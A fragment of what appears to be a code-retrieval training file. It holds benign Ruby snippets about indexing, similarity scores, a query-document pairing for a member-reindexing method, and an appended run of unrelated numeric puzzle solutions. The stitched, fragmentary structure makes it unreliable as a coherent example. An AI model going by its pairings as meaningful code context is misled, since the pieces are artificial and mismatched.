"def compute_index \n self.rewind\n r = %r{\\<scan\\snum\\=\\\"(\\d+)\\\"|\\<spectrum\\sid\\=\\\"(\\d+)\\\"}\n index = {}\n while (!self.eof) \n pos = self.pos\n if (r.match(self.readline)) then \n m = $1 ? $1 : $2\n index[m.to_i] = pos\n end\n end\n index\n end",
"def input_to_index(position)\n position = position .to_i\n index = position-1\nend",
"def find(value)\n find_root @indices.fetch(value)\n end",
"def find(prepostion)\n\t\tpartial_search_kb = string_to_internal(preposition)\n\t\tpartial_search_kb.each do |sentence|\n\t\t\tind = @kb.index(sentence)\n\t\tend\n\t\treturn ind\n\tend",
"def index_for(word)\n poem_words.find_index { |this_word| word == this_word }\nend",
"def rindex(p0) end",
"def index(value)\n each.with_index do |v, i|\n return i if v == value\n end\n return nil\n end",
"def get_index key, vsz=999\n # @log.debug \"Etners get_index with #{key}\"\n i = convert_key_to_index key\n return i if i\n\n if vsz > 25\n if key == 'z' || key == 'Z'\n last_line\n print key\n zch = get_char\n print zch\n i = convert_key_to_index(\"#{key}#{zch}\")\n # @log.debug \"convert returned #{i} for #{key}#{zch}\"\n return i if i\n # i = IDX.index\n # return i + @stact if i\n end\n end\n nil\nend",
"def input_to_index(index)\n return index.to_i - 1\nend",
"def input_to_index(index)\n return index.to_i - 1\nend",
"def current\n index\n end",
"def cursor_to_decision\n @index = 89\n end",
"def indexTest(data,i)\n if data.is_a?(Array) and i<data.length and i>=-1*data.length\n return data[i]\n elsif data.is_a?(Hash) and data.keys.include? i\n return data[i]\n else\n return 0\n end\nend",
"def [](index); end",
"def index(element)\n each_with_index { |e, index| return index if e == element }\n nil\n end",
"def getIndex (x,y)\n return y*10 + x\n end",
"def extract_index(image_entry)\n index_m = /\\/(\\d+)\\./.match(image_entry)\n\n unless index_m\n @logger.warn \"Failed to parse the index integer from #{image_entry}\"\n return\n end\n\n index_value = index_m[1]\n index = index_value.to_i\n index - 1\n end",
"def input_to_index(input)\n input_int = input.to_i\n index = input_int - 1\nend",
"def [](index) # i.e. array style index lookup.\n end",
"def find_index(name)\n\t\tindex = 0\n\t\tfound = false\n\n\t\ttodo_items.each do |item|\n\t\t\tif item.name == name\n\t\t\tfound = true\n\t\tend\n\t\tif found\n\t\t\tbreak\n\t\telse\n\t\t\tindex += 1\n\t\tend\n\tend\n\t\tif found\n\t\t\treturn index\n\t\telse\n\t\t\treturn nil\n\t\tend\n\tend",
"def lookup_index(set,index)\n @index_lookup_table ||= {}\n @index_lookup_table[set] ||= @set_indices[set].invert\n @index_lookup_table[set][index.to_i]\n\n # raise @index_lookup_table[set]\n end",
"def index_id\n doc_hash.fetch('id')\n end",
"def find_elmt_index elmt\n return nil unless elmt&.text?\n find_index { |rcd| rcd.first.object_id.equal? elmt.object_id }\n end",
"def index_from_start(index); end",
"def input_to_index(position)\n position.to_i - 1\nend"
] |
[
"0.75985825",
"0.7406335",
"0.7341931",
"0.72795117",
"0.7243267",
"0.7222627",
"0.7219153",
"0.71993035",
"0.71993035",
"0.7134473",
"0.7102069",
"0.7094379",
"0.70919734",
"0.7006969",
"0.6988685",
"0.69208413",
"0.6913255",
"0.68878746",
"0.6882119",
"0.6868752",
"0.6833273",
"0.6810471",
"0.67990947",
"0.67702395",
"0.6769104",
"0.676284",
"0.6752796",
"0.675047",
"0.67501324",
"0.6728822",
"0.67275006",
"0.6691154",
"0.6685624",
"0.66840553",
"0.66840076",
"0.6654872",
"0.6652095",
"0.6631959",
"0.6626868",
"0.6592705",
"0.65808845",
"0.65430415",
"0.65189636",
"0.6488621",
"0.6474003",
"0.6473638",
"0.6471542",
"0.6463386",
"0.6463204",
"0.6458957",
"0.6455089",
"0.64517593",
"0.64506084",
"0.6448949",
"0.6448248",
"0.6445478",
"0.64313716",
"0.64239264",
"0.6416954",
"0.64109814",
"0.6404997",
"0.6400756",
"0.6388497",
"0.63801664",
"0.63792866",
"0.637365",
"0.6371933",
"0.6370655",
"0.63665694",
"0.6361966",
"0.6357021",
"0.63475096",
"0.6346689",
"0.6338424",
"0.63383543",
"0.6336154",
"0.63292",
"0.632698",
"0.63219124",
"0.63178146",
"0.6315484",
"0.63141996",
"0.63109577",
"0.631077",
"0.6306963",
"0.6306963",
"0.63034016",
"0.6290992",
"0.6290046",
"0.6288941",
"0.6287958",
"0.6284415",
"0.6283882",
"0.627177",
"0.626576",
"0.62652254",
"0.62583977",
"0.6256856",
"0.62539107",
"0.6253787",
"0.62507355"
] |
0.0
|
-1
|
cause the members to index the relationship
|
def local_update_members
if self.respond_to?(:members)
self.members.each do |member|
member.reload.update_index
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index_relations(exclude_relations: []); end",
"def add_index_field(*) super end",
"def relink_indexes\n super\n sync_indexes\n end",
"def index\n @parent_proxy.columns.compact.index(self)\n end",
"def add_indexes\n if hereditary? && !index_keys.include?(self.discriminator_key.to_sym => 1)\n index({ self.discriminator_key.to_sym => 1 }, unique: false, background: true)\n end\n true\n end",
"def update_in_index\n __elasticsearch__.index_document\n\n index_dependent_models.map(&:update_in_index)\n end",
"def index\n @members = Member.order(\"id\")\n \tend",
"def index\n @members = Member.all.includes(:abo_types, :scan_events).order(created_at: :desc)\n end",
"def index\n set_index\n end",
"def update_index\n all.each do |n|\n n.update_index\n end\n end",
"def index(child); end",
"def construct_index\n end",
"def index(member)\n conn.zrank(key, member)\n end",
"def party_index\n $game_party.all_members.index(self)\n end",
"def rebuild_pgindex!\n self.all.each { |model| model.rebuild_pgindex! }\n end",
"def containing_relation_members\n []\n end",
"def index\n @members = Member.find(:all)\n end",
"def reindex_user!\n Sunspot.index! self\n end",
"def containing_relation_members \n return [] \n end",
"def members\n # use this method instead of the 'has_many' macro\n Member.where(\"near_node_id = ? OR far_node_id = ?\", self.id, self.id)\n end",
"def index\n @relations = Relation.all\n end",
"def genindex\n set_genre\n @userids = @genre.leaderboards.select(:user_id).map(&:user_id).uniq\n end",
"def index(*rel_type_props)\n if rel_type_props.size == 2 and rel_type_props[1].kind_of?(Hash)\n rel_type_props[1].each_pair do |key,value|\n idx = rel_type_props[0]\n lucene_index.field_infos[idx.to_sym][key] = value\n end\n rel_type_props = rel_type_props[0..0]\n end\n rel_type_props.each do |rel_type_prop|\n rel_type, prop = rel_type_prop.to_s.split('.')\n index_property(rel_type) if prop.nil?\n index_relation(rel_type_prop, rel_type, prop) unless prop.nil?\n end\n end",
"def index\n @joineds = Joined.all\n end",
"def index\r\n build_index unless @index\r\n @index\r\n end",
"def index\n @friends = @member.friends\n end",
"def reindex_relations\n ids = solr_relation_ids + relation_ids\n yield\n ids.uniq.map { |id| ActiveFedora::Base.find(id).update_index }\n end",
"def index\n #@members = member.all\n #@members = member.with_restricted_access_access\n @members = policy_scope(Member)\n end",
"def uniq_index\n\t\t\t\tcreate_property :in, type: :link, linked_class: :V\n\t\t\t\tcreate_property :out, type: :link, linked_class: :V\n\t\t\t\tcreate_index \"#{ref_name}_idx\", on: [ :in, :out ]\n\t\t\tend",
"def index_on( field, opts={} )\n opts = Gnash.new( opts )\n design_document(true).add!( opts.merge!(:name => field) )\n unless indexes.include?( field )\n indexes << field.to_sym \n indexes << field.to_s \n end \n self \n end",
"def add_indexes\n if hereditary? && !index_options[{ _type: 1 }]\n index({ _type: 1 }, { unique: false, background: true })\n end\n true\n end",
"def indexed\n meta(index: true)\n end",
"def index(*rel_type_props)\n if rel_type_props.size == 2 and rel_type_props[1].kind_of?(Hash)\n rel_type_props[1].each_pair do |key, value|\n idx = rel_type_props[0]\n indexer.field_infos[idx.to_sym][key] = value\n end\n rel_type_props = rel_type_props[0..0]\n end\n rel_type_props.each do |rel_type_prop|\n rel_name, prop = rel_type_prop.to_s.split('.')\n index_property(rel_name) if prop.nil?\n index_relationship(rel_name, prop) unless prop.nil?\n end\n end",
"def index\n @members = Member.all\n end",
"def index\n @members = Member.all\n end",
"def index\n @members = Member.all\n end",
"def index\n @members = Member.all\n end",
"def index\n @members = Member.all\n end",
"def index\n @members = Member.all\n end",
"def index\n @members = Member.all\n end",
"def index\n @members = Member.all\n end",
"def index\n @members = Member.all\n end",
"def index\n @members = Member.all\n end",
"def index\n exist_redesocial_to_user \n end",
"def supports_partial_indexes?\n true\n end",
"def index(model)\n model.index\n ElasticMapper.index.refresh\nend",
"def index\n @table_relations = TableRelation.all\n end",
"def generate_joined_value member\n foreign_key = member.foreign_key\n # REVISIT: Is this restriction even necessary?\n return nil unless foreign_key.composite.mapping.object_type.is_static\n\n # Index the source table by the natural key of the target, if we can find one\n indices = foreign_key.composite.all_index\n return null if indices.empty?\n\n search_index_by = {}\n searchable_indices =\n indices.select do |ix|\n next false if !ix.is_unique\n non_fk_components = ix.all_index_field.map(&:component) - foreign_key.all_index_field.map(&:component)\n next unless non_fk_components.size == 1\n component = non_fk_components[0]\n next unless MM::Absorption === component\n value_type = component.object_type\n search_methods = value_type.applicable_parameter_restrictions('Search')\n search_methods.reject!{|vtpr| m = vtpr.value_range.minimum_bound and m.value == 'none'}\n search_methods.map!{|sm| sm.value_range.minimum_bound.value.effective_value}\n if search_methods.empty?\n false\n else\n search_index_by[ix] = search_methods\n end\n end\n return nil if search_index_by.empty?\n\n search_index_by.flat_map do |search_index, search_methods|\n trace :unidex, \"Search #{table_name foreign_key.source_composite} via #{table_name search_index.composite}.#{column_name search_index.all_index_field.to_a[0].component} using #{search_methods.map(&:inspect)*', '}\"\n\n fk_pairs =\n foreign_key.all_foreign_key_field.to_a.\n zip foreign_key.all_index_field.to_a\n leaf = search_index.all_index_field.to_a[0].component # Returning this natural index value\n source_table = table_name(foreign_key.composite)\n source_field = safe_column_name(member)\n type_name, options = leaf.data_type(data_type_context) # Which has this type_name\n intrinsic_type = MM::DataType.intrinsic_type(type_name) # Which corresponds to this intrinsic type\n\n col_expr = Expression.new(\n %Q{\n (SELECT #{safe_column_name(leaf)}\n FROM #{source_table} AS f\n WHERE #{\n fk_pairs.map do |fkf, ixf|\n \"#{table_name foreign_key.source_composite}.#{safe_column_name(fkf.component)} = f.#{safe_column_name(ixf.component)}\"\n end*' AND '\n })}.\n gsub(/\\s+/,' '),\n intrinsic_type,\n foreign_key.all_foreign_key_field.to_a.all?{|fkf| fkf.component.path_mandatory}\n )\n search_expr foreign_key.source_composite, intrinsic_type, col_expr, search_methods, source_field\n end\n end",
"def index\n restrict_to_hosts\n @game_masters = GameMaster.where(table_id: @table.id)\n end",
"def index\n\t\trelators\n\tend",
"def index\n set_index_posts\n end",
"def rebuild_index\n aaf_index.rebuild_index\n end",
"def index\n self.class.all.index(self)\n end",
"def index\n @members = User::Member.all\n end",
"def _addIndexes ( type, *list )\n type = type.to_s\n type.upcase!.gsub! /_/, ' '\n @attr_index_hints ||= [ ]\n # set the attr_index_hints for the last object in for_vals\n last_ind = @join_sources.length - 1\n @attr_index_hints[last_ind] = { :type => type, :list => SQLObject.get( list ) }\n @string = nil\n return self\n end",
"def property_field_index\n schema.index_groups.each do |group_name, definitions|\n if group_name =~ FIELD_INDEX_REGEXP\n # write attribute in owner\n key = definitions.first.first\n self[$1] = prop[key]\n end\n end\n end",
"def index\n @relationshipneighbors = Relationshipneighbor.all\n end",
"def build_index\n Index.new(join_header, @disjoint_header).merge(right)\n end",
"def index\n @members = Member.where(admin: false)\n end",
"def update_index\n all.nodes.each do |n|\n n.reindex!\n end\n end",
"def joining_criteria__index\r\nreturn read_attribute(:joining_criteria)\r\nend",
"def reindex!\n doc = {:id => neo_node_id }\n self.class.index_updaters.each_value do |updater|\n updater.call(self, doc)\n end\n lucene_index << doc\n end",
"def supports_index_include?\n false\n end",
"def create_search_index\n #Notice the assoction on article.user.id\n TaggyMcFaggy.create_index :attribute_namespace => :article_text,\n :document_id => id,\n :words => text_content,\n :association => user.id\n \n end",
"def ensure_indices\n @dao.collection.ensure_index([['dealership', Mongo::ASCENDING], SORT])\n @indexed = true\n end",
"def supports_partial_indexes?\n false\n end",
"def index\n @member_contacts = MemberContact.all\n end",
"def index_dependent_models\n []\n end",
"def index\n @@semaphore.synchronize {\n inner_index()\n }\n end",
"def indexes\n raise 'not implemented'\n end",
"def index_joins\n @rails.choice[:joins]\n end",
"def setting_index\n end",
"def update_index(name, node); end",
"def index\n #@medicals = Medical.all\n @member = Member.find(params[:member_id])\n #@vie = Vig.find_by( member: @member, kind: :nursing )\n end",
"def index\n @foreign_keys = ForeignKey.all\n end",
"def reindex_property\n property.reindex\n end",
"def index\n @relationships = Relationship.all\n end",
"def index\n @relationships = Relationship.all\n end",
"def index\n @npc_relations = @campaign.npc_relations\n end",
"def index\n @family_relationships = FamilyRelationship.all\n end",
"def index\n @conversations = Conversation.where(contype: \"OneToMany\", sender_id: current_member.id).order(name: :asc)\n end",
"def update_index # :nodoc:\n self.class.indexer.index(self)\n end",
"def update_ion_indices\n ion = self.class.ion\n\n\n # Clear out previous indexes...\n ion.index_types.each { |i_type| i_type.deindex(self) }\n\n Ion.redis.multi\n # And add new ones\n ion.indices.each { |index| index.index(self) }\n Ion.redis.exec\n end",
"def default_index_subaction\n list_all\n end",
"def initialize\n @index = {}\n @records = []\n @joins = []\n end",
"def index\n @members = Member.where(active: true)\n end",
"def index\n # byebug \n @groups = current_user.groups\n @group_members=GroupMember.all\n # @group_members=@group.GroupMember.all\n end",
"def student_index\n end",
"def index\n render_index @parent.with_user @user\n end",
"def associate_member_with_community\n self.community.members << self.member unless self.community.members.include? self.member\n end",
"def associated\n end",
"def index\n respond_with Relationships.all\n end",
"def index\n @orphan_sponsorships = OrphanSponsorship.all\n end",
"def index\n set_persona_biometria\n end",
"def index\n @member = Member.find(params[:member_id])\n end",
"def reindex_article\n Article.reindex\n end",
"def rindex(member)\n conn.zrevrank(key, member)\n end",
"def atributos_index\n [ :id,\n :nusuario,\n :nombre,\n :email,\n :grupo_ids,\n :foto,\n :habilitado,\n ]\n end",
"def freshen_parent_and_child_indexes\n freshen_parent_and_child_indexes(0)\n end"
] |
[
"0.6845094",
"0.6406147",
"0.6280703",
"0.61785835",
"0.6162755",
"0.6095876",
"0.6022503",
"0.6003696",
"0.5992911",
"0.59659636",
"0.5953254",
"0.5944076",
"0.59320116",
"0.5920856",
"0.5896518",
"0.5879308",
"0.58733654",
"0.58621234",
"0.5843888",
"0.5814747",
"0.57811797",
"0.57789016",
"0.57608795",
"0.5759111",
"0.5753637",
"0.5748329",
"0.57227254",
"0.57212365",
"0.57178164",
"0.57137287",
"0.57126725",
"0.5662815",
"0.5659193",
"0.5654474",
"0.5654474",
"0.5654474",
"0.5654474",
"0.5654474",
"0.5654474",
"0.5654474",
"0.5654474",
"0.5654474",
"0.5654474",
"0.56298655",
"0.5625131",
"0.5617172",
"0.5601238",
"0.56009257",
"0.5555713",
"0.55479777",
"0.5540038",
"0.55234116",
"0.5516579",
"0.5515821",
"0.5509249",
"0.54903346",
"0.54853576",
"0.5480123",
"0.547668",
"0.5469068",
"0.5454271",
"0.5442601",
"0.5432571",
"0.542756",
"0.5424858",
"0.5424011",
"0.54214454",
"0.5418624",
"0.54125166",
"0.54080415",
"0.5400404",
"0.5396384",
"0.5379961",
"0.537885",
"0.5376598",
"0.53701377",
"0.53693104",
"0.53693104",
"0.53632754",
"0.5358618",
"0.53575623",
"0.5354983",
"0.5350732",
"0.53469294",
"0.5335092",
"0.5330431",
"0.5328176",
"0.532609",
"0.5325847",
"0.53224564",
"0.53202766",
"0.5317108",
"0.5310041",
"0.5309982",
"0.5304869",
"0.53036535",
"0.52978665",
"0.52968395",
"0.5296311"
] |
0.6152168
|
6
|
should return 300 X REAL SOLUTION
|
def highest_product_of_3(array_of_ints)
raise ArgumentError, "Less than 3 numbers given" if array_of_ints.length < 3
highest = array_of_ints.first(2).max # of 1st 3 ints
lowest = array_of_ints.first(2).min
highest_product_of_2 = array_of_ints[0] * array_of_ints[1]
lowest_product_of_2 = array_of_ints[0] * array_of_ints[1]
highest_product_of_3 = array_of_ints[0] * array_of_ints[1] * array_of_ints[2]
# Walk through items, starting at index 2
# (we could slice the array but that would use n space).
array_of_ints.each_with_index do |current, index|
next if index < 2
# Do we have a new highest product of 3?
# It's either the current highest,
# or the current times the highest product of two,
# or the current times the lowest product of two.
highest_product_of_3 = [
highest_product_of_3,
current * highest_product_of_2,
current * lowest_product_of_2
].max
# Do we have a new highest product of two?
highest_product_of_2 = [
highest_product_of_2,
current * highest,
current * lowest
].max
# Do we have a new lowest product of two?
lowest_product_of_2 = [
lowest_product_of_2,
current * highest,
current * lowest
].min
# Do we have a new highest?
highest = [highest, current].max
# Do we have a new lowest?
lowest = [lowest, current].min
end
highest_product_of_3
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def solve\n return ((1..40).inject(:*) / ((1..20).inject(:*) ** 2))\nend",
"def solution\n (1..40).inject(:*) / (1..20).inject(:*)**2\nend",
"def solve(ingredients, part_two: false)\n score = 0\n max = 0\n\n (0..100).each do |i|\n (0..100 - i).each do |j|\n (0..100 - i - j).each do |k|\n l = 100 - i - j - k\n capacity = calculate_total(ingredients, \"capacity\", i, j, k, l)\n durability = calculate_total(ingredients, \"durability\", i, j, k, l)\n flavor = calculate_total(ingredients, \"flavor\", i, j, k, l)\n texture = calculate_total(ingredients, \"texture\", i, j, k, l)\n calories = calculate_total(ingredients, \"calories\", i, j, k, l)\n\n next if part_two && calories != 500\n next if capacity <= 0 || durability <= 0 || flavor <= 0 || texture <= 0\n\n score = capacity * durability * flavor * texture\n max = score if score > max\n end\n end\n end\n max\nend",
"def solve\n s = Hash[(1...1000).map { |i| [i, i * i] }]\n (1...1000).each do |c|\n (1...c).each do |b|\n (1..b).each do |a|\n return a * b * c if (a + b + c) == 1000 && (s[a] + s[b]) == s[c]\n end\n end\n end\nend",
"def vulnerable_undertrick_points\n if !made?\n p = -100 * modifier\n if result < -1\n return p += (result + 1) * 300 if doubled?\n return p += (result + 1) * 600 if redoubled?\n return p += (result + 1) * 100\n end\n p\n else\n 0\n end\n end",
"def sptriplet(n)\n divisors_of_500 = []\n1.upto(500) {|n| divisors_of_500 << n if 500 % n == 0}\ndivisors_of_500.inspect\n\n solutions = []\n for x in divisors_of_500\n for z in divisors_of_500\n if (x < z && z < 2*x) && n%(x*z) == 0\n y = z - x\n k = ((n/2) / x) / z\n\n a = k*(x*x-y*y)\n b = 2*k*x*y\n c = k*(x*x+y*y)\n\n solutions << [a,b,c]\n end\n end\n end\n\n product = 1\n solutions.map! {|arr| arr.sort}\n solutions.uniq!\n solutions[0].each {|num|product *= num}\n product\n\nend",
"def solve\n squares = (1..500).to_a.map{ |i| i*i }\n squares.each do |a2|\n squares.each do |b2|\n c2 = a2 + b2\n if squares.include? c2\n a = Math.sqrt(a2).to_i\n b = Math.sqrt(b2).to_i\n c = Math.sqrt(c2).to_i\n if ( a + b + c ) == 1000\n return a * b * c\n end\n end\n end\n end\nend",
"def newSolve(total)\n\tmaxNumberUp = Math.log2(total).floor\n\n\tif numberOfOnes(total+1)==1\n\t\tmaxNumberUp+=1\n\tend\n\n\tmaxUp = 2**maxNumberUp\n\n\n\tmaximo = maxNumberUp + numberOfOnes(total-(maxUp-1))\n\treturn maximo\nend",
"def recursive_solution\n\n end",
"def reduce_solved\n before = 9*9*9\n after = entropy\n while before > after\n before = after\n reduce_line\n reduce_col\n reduce_grid\n after = entropy\n end\n self\n end",
"def test_find_stack_overflow\n skip # because it takes *forever*\n @starting_point = MM::Ratio.new(1,1)\n @search = MM::Search.new(@starting_point)\n @search.delta = 0.001\n @search.adjacent_points_function = ->(current) {\n [MM::Ratio.new(1,1), MM::Ratio.new(-1,1)].map {|m| m + current}\n }\n goal = MM::Ratio.new(9000,1)\n @search.cost_function = ->(x) {\n (x - goal).abs\n }\n assert_equal goal, @search.find\n puts @search.iterations\n end",
"def alg; end",
"def solve( n = 1_000_000_000 )\n log10 = Math.log10( n )\n\n sum = (0...log10).map do |i|\n if 0 == (i % 4)\n 0\n elsif 0 != (i % 2)\n 20 * 30**((i - 1)/2)\n else\n 100 * 500**((i - 2)/4)\n end\n end\n\n sum.reduce( :+ )\n end",
"def eu1\n # .00028s | 1000 silent iterations\n total = 0\n (1..1000).each { |i| total += i if i % 3 == 0 or i % 5 == 0 }\n return total\nend",
"def pe66v5()\n\tprintf \"Using meathod pe66v5 \\n\";\n\tda = [2]\n\t3.upto(1000) do |d|\n\t\tif((d ** 0.5) % 1 != 0) then \n\t\t\tda.push(d)\n\t\tend\n\t\t\n\tend\n\tda.each do |d|\n\t\tprintf \"%d \",d\n\tend\n\tprintf \"\\n\"\n\tmax = 0;\n\ttotal = 0;\n\tda.each do |d|\t\n\t\t1.upto(10000) do |x|\n\t\t\t1.upto(10000) do |y|\n\t\t\t\ttotal = d * (y ** 2 ) + 1\n\t\t\t\tif(total != x ** 2 ) then next end\n\t\t\t\tif(x > max) then\n\t\t\t\t\tmax = x\n\t\t\t\t\tprintf \"Found x = %d d = %d y = %d\\n\",x,d,y\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\nend",
"def problem_108(size = 1001)\n func = lambda do |a|\n if a.length == 1\n a[0]+1\n else\n m = a[0]\n (2*m+1) * func.call(a[1,a.length]) -m\n end\n end\n\n primes = Primes.upto(200)\n prime_number = lambda do |a|\n r = 1\n a.sort.reverse.each_with_index { |m,i| r *= primes[i] ** m }\n r\n end\n\n values = {}\n last = 0\n 1.upto(100).each do |nn|\n nn.groupings do |a|\n sols = func.call a\n ans = prime_number.call a\n# puts \"np=#{nn} sols=#{sols} ans=#{ans} => #{a.inspect}\"\n if values[sols]\n values[sols] = [values[sols],[ans,a]].min\n else\n values[sols] = [ans,a]\n end\n true\n end\n size.upto(size*5/4) do |num|\n if values[num]\n puts \"for np = #{nn} => #{num} => #{values[num].inspect}\"\n if last == values[num]\n puts \"factors = #{values[num][0].factors}\"\n return values[num][0] \n end\n last = values[num]\n break\n end\n end\n #values.sort.each do |k,v|\n # puts \"#{k} => #{v}\"\n #end\n end\n nil\nend",
"def solution2 limit\n pairs = [3,5,15].map { |n| [n,(limit - 1)/n] }\n sum3, sum5, sum15 = *pairs.map { |n,lim| n * lim * (lim + 1) / 2 }\n sum3 + sum5 - sum15\n end",
"def larg_palin_product\n max_product = 1\n (100...1000).each do |x|\n (100...1000).each do |y|\n max_product = x*y if (isPalindome x*y) && (x*y > max_product)\n end\n end\n max_product\nend",
"def condition(i, j)\n # first solved the two equations for just i and j\n 500_000 - 1000*i - 1000*j + i*j == 0\nend",
"def solve\n end",
"def max_descent_speed; end",
"def special_pythag_trip(target_sum)\n\ta = 1\n\tb = 1\n\tfor a in (1..target_sum) do\n\t\tfor b in (1..target_sum) do\n\t\t\t#puts \"a : #{a}\"\n\t\t\t#puts \"b : #{b}\"\n\t\t\tsum_of_squares = a*a + b*b\n\t\t\tc = Math.sqrt(sum_of_squares).to_i\n\t\t\t\n\t\t\tif c*c == sum_of_squares\n\t\t\t\ttriple = [a,b,c] \n\t\t\t\tsum = triple.inject(0) {|sum,num| sum + num}\n\t\t\t\t\n\t\t\t\treturn triple[0]*triple[1]*triple[2] if sum == target_sum\n\t\t\tend\n\t\t\t\n\t\tend\n\t\n\tend\nend",
"def pytha_tri\n for i in (0...500)\n for j in (i+1...500)\n for k in (j+1...500)\n if (i+j+k == 1000) && (i*i + j*j == k*k)\n return i*j*k\n end\n end\n end\n end\nend",
"def sor(n, a, b, x0, w, error, n_max)\n n = n - 1\n\n x = Array.new(n + 1)\n for k in (0..n_max)\n sumatoria = (1..n).inject(0) { |sum, j| sum + a[0][j] * x0[j] }\n x[0] = (1 - w) * x0[0] + w * (b[0] - sumatoria).fdiv(a[0][0])\n\n (1..n - 1).each do |i|\n sumatoria_1 = (0..i - 1).inject(0) { |sum, j| sum + a[i][j] * x[j] }\n sumatoria_2 = (i + 1..n).inject(0) { |sum, j| sum + a[i][j] * x0[j] }\n x[i] = (1 - w) * x0[i] + w * (b[i] - sumatoria_1 - sumatoria_2).fdiv(a[i][i])\n end\n\n sumatoria = (0..n - 1).inject(0) { |sum, j| sum + a[n][j] * x[j] }\n x[n] = (1 - w) * x0[n] + w * (b[n] - sumatoria).fdiv(a[n][n])\n\n resta = x.map.with_index { |xi, i| xi - x0[i] }\n modulo = Math::sqrt(resta.inject(0) { |sum, i| sum + i ** 2 })\n if modulo < error\n puts \"Una solucion aproximada es X = #{x}.\"\n return x\n end\n\n x0.replace(x)\n end\n\n puts \"Se alcanzo el numero maximo de iteraciones n_max pero no la tolerancia.\"\nend",
"def solution_one\n x = 0\n (1..999).each do |i|\n if (i % 5) == 0 || (i % 3) == 0\n x = x + i\n end\n end\n x\nend",
"def solve\n 1.upto(100).inject(:*).to_s.split('').map{|x| x.to_i}.inject(:+)\nend",
"def solved(ans)\n\n end",
"def compute_sum_of_threes_and_fives\r\n sum = 0\r\n (1...1000).each do |n|\r\n sum += n if n % 3 == 0 || n % 5 == 0\r\n end\r\n sum\r\nend",
"def find_optimal(rootCode,goalCode)\n\tfindHops(rootCode, goalCode, \n\t\tlambda{|flight,oldweight| \n\t\t\toldweight + (flight.date.date.to_i + (flight.flightDuration).seconds - @date.date.to_i)/1200 + 100 + flight.seatprice/5 \n\t\t\t# oldweight + (number of hours between arrival and departure + 100 (per hop))*3 + seatprice/5 (~25-250)\n\t\t\t})\nend",
"def solve_stupid\n nodes_num.times.collect{|node_num| make_wave(node_num) }.min\n end",
"def simulatedAnnealing(is,cS,cC,bSolution,bCost,temp,final_temp,alpha)\n #membuat array untuk menampung setiap solusi\n solusiTemp = {}\n solusiBestSolution = {}\n solusiBestCost= {}\n j=1 #insisialisasi\n while temp > final_temp do\n\n for i in 1..100\n #memunculkan bilangan random untuk perbandingan sekarang dengan yang baru\n x11 = fungsiRandom()\n x22 = fungsiRandom()\n nS = [x11,x22] #state baru\n nC = cost(nS) #perhitungan fungsi dari state baru\n end\n if nC < cC then #membandingkan costBaru dengan costSekarang\n cS = nS\n cC = nC\n if cC < bCost then #jika costBaru lebih kecil dari costSekarang maka bandingkan dengan bestCost\n bSolution = cS\n bCost = cC\n end\n else #jika tidak maka diliat nilai probab\n #ilitasnya lalu bandignkan dengan nilai random(0,1)\n if (prob(nC,cC,temp) > fungsiRandom01()) then\n cS = nS\n cC = nC\n end\n #menampung solusi\n solusiTemp[j] = temp\n solusiBestSolution[j] = bSolution\n solusiBestCost[j] = bCost\n end\n j = j+1\n temp = temp * alpha #Menghitung penentu iterasi temperatur\n end\n xx = solusiTemp[solusiTemp.length]\n y = bSolution\n z = bCost\n #mengembalikan nilai solusi\n return solusiTemp,solusiBestSolution,solusiBestCost,xx,y,z\n\nend",
"def solve_problem\n max = 4000000\n f_curr = 8\n f_prev = 2\n p_curr = 1\n sum = f_prev \n while f_curr <= max\n sum += f_curr\n temp = f_curr\n f_curr = 3*f_curr + 4*f_prev + 2*p_curr\n p_curr = 2*f_prev + p_curr\n f_prev = temp\n end\n return sum\nend",
"def solution_proximity_heuristic(amount,comb,coins)\n (amount-comb.sum)*min_size_heuristic(amount,comb,coins)\nend",
"def prepare_to_check_solve(fake_value = 0.01)\n 2.times do\n find_max_values(end_layer_sum).each do |max_value|\n log format('faking values: %d-%x', end_layer_sum, max_value)\n vbyte_reader = VByteReader.new(\n layer_part_pathname(end_layer_sum, max_value)\n )\n @solver.generate_values_for_check(\n vbyte_reader,\n fake_value,\n new_solution(end_layer_sum, max_value).values.to_s\n )\n end\n @end_layer_sum -= 2\n end\n end",
"def problem5 ( )\n lcm_1_to_n(20)\nend",
"def bairstow(n, a, u0, v0, error, n_max)\n b = Array.new(n + 1)\n c = Array.new(n + 1)\n\n b[n] = a[n]\n c[n] = 0\n c[n - 1] = a[n]\n for i in (1..n_max)\n b[n - 1] = a[n - 1] + u0 * b[n]\n (0..n - 2).reverse_each do |k|\n b[k] = a[k] + u0 * b[k + 1] + v0 * b[k + 2]\n c[k] = b[k + 1] + u0 * c[k + 1] + v0 * c[k + 2]\n end\n\n j = c[0] * c[2] - c[1] ** 2\n u1 = u0 + (c[1] * b[1] - c[2] * b[0]).fdiv(j)\n v1 = v0 + (c[1] * b[0] - c[0] * b[1]).fdiv(j)\n\n if b[1].abs < error and b[0].abs < error\n puts \"Un factor cuadratico aproximado del polinomio dado, y los correspondientes valores r y s son x^2 - #{u1} * x - #{v1}, r = #{b[1]} y s = #{b[0]}.\"\n return u1, v1\n end\n\n u0 = u1\n v0 = v1\n end\n\n puts \"Se alcanzo el numero maximo de iteraciones n_max pero no la tolerancia.\"\nend",
"def abc_three\n\t2.upto(1000) do |a|\n\t (a+1).upto(1000) do |b|\n\t \tc = Math.sqrt(a**2 + b**2)\n\t \tif (a+b+c==1000)\n\t \t\treturn a*b*c \n\t \tend\n\t end\n\tend\nend",
"def fast_food_production(work)\n t1 = 10\n y1 = 3.0\n t2 = 30\n y2 = 1.0\n\n ut = (y2-y1) / (t2-t1)\n\n res = if work <= t1\n work * y1\n elsif work <= t2\n w2 = work - t1\n work * y1 + ut * (w2+1) * w2 / 2.0\n else\n w2 = t2 - t1\n t2 * y1 + ut * (w2+1) * w2 / 2.0 + (work-t2) * y2\n end\n\n res.round(6)\nend",
"def brute_force_optimal(tg,faulty,replacements,n)\n if tg[1].size == 0 # special case if there are no edges(all replacements are equal)\n return get_mappings(faulty,replacements)[0] # return the first mapping\n end\n get_mappings(faulty,replacements).min_by do |a|\n euclidean_distance(tg,a,n) \n end\nend",
"def problem(a=100,b=100)\n (2..a).inject(0) {|s1,i| s1 += (2..b).inject(0) {|s2,j| @terms.add?(i**j) ? s2 += 1 : s2}}\n end",
